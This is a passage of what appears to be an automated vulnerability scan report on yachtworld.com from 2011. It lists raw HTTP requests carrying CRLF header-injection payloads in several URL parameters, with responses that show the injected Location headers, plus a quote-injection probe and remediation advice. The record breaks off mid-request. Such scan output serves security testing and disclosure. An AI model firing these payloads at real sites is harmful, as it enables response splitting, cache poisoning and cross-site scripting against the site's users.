VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response 1 (redirected)
HTTP/1.0 503 Service Temporarily Unavailable Date: Thu, 27 Jan 2011 21:16:05 GMT Server: Apache Vary: Accept-Encoding Content-Length: 323 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>503 Service Temporarily Unavailable</title> </head><body> <h1>Service Temporarily Unavailable</h1> <p>The server is temporarily u ...[SNIP]...
Request 2
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30''&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response 2 (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:16:05 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]...
2. HTTP header injectionpreviousnext There are 13 instances of this issue:
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 2 is copied into the Location response header. The payload 78c71%0d%0a9de75d3bc43 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /boats/78c71%0d%0a9de75d3bc43/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 301 Moved Permanently Date: Thu, 27 Jan 2011 19:57:52 GMT Server: Apache Cache-Control: private Location: /boats/category/type/78c71 9de75d3bc43 Connection: close Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 842 Content-Type: text/html; charset=utf-8
<!-- - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text in - an error's message is "too small", specifically - less than 512 bytes, Intern ...[SNIP]...
The value of REST URL parameter 2 is copied into the Location response header. The payload a9e7b%0d%0a05f58214b4d was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /boats/a9e7b%0d%0a05f58214b4d/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 301 Moved Permanently Date: Thu, 27 Jan 2011 19:59:34 GMT Server: Apache Cache-Control: private Location: /boats/category/type/a9e7b 05f58214b4d Connection: close Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 842 Content-Type: text/html; charset=utf-8
<!-- - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text in - an error's message is "too small", specifically - less than 512 bytes, Intern ...[SNIP]...
The value of the &ywo request parameter is copied into the Location response header. The payload a2fcb%0d%0adec8bd846ab was submitted in the &ywo parameter. This caused a response containing an injected HTTP header.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=a2fcb%0d%0adec8bd846ab& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:40:53 GMT Server: Apache Cache-Control: private Location: http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=Feet&id=2275416&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=a2fcb dec8bd846ab& Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 187
The URL has moved <a href="http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=Feet&id=2275416&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=a2fcb dec8bd846ab&">here</a>
The value of the hosturl request parameter is copied into the Location response header. The payload 5e98e%0d%0a04055d8196f was submitted in the hosturl parameter. This caused a response containing an injected HTTP header.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=5e98e%0d%0a04055d8196f&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:39:37 GMT Server: Apache Cache-Control: private Location: http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=Feet&id=2275416&lang=en&slim=broker&&hosturl=5e98e 04055d8196f&&ywo=starlingmarine& Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 187
The URL has moved <a href="http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=Feet&id=2275416&lang=en&slim=broker&&hosturl=5e98e 04055d8196f&&ywo=starlingmarine&">here</a>
The value of the slim request parameter is copied into the Location response header. The payload a0d07%0d%0ac827c8a1387 was submitted in the slim parameter. This caused a response containing an injected HTTP header.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=a0d07%0d%0ac827c8a1387&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:39:07 GMT Server: Apache Cache-Control: private Location: http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=Feet&id=2275416&lang=en&slim=a0d07 c827c8a1387&&hosturl=starlingmarine&&ywo=starlingmarine& Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 195
The URL has moved <a href="http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=Feet&id=2275416&lang=en&slim=a0d07 c827c8a1387&&hosturl=starlingmarine&&ywo=starlingmarine&">here</a>
The value of the units request parameter is copied into the Location response header. The payload edada%0d%0acbdfc443266 was submitted in the units parameter. This caused a response containing an injected HTTP header.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine&units=edada%0d%0acbdfc443266&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; 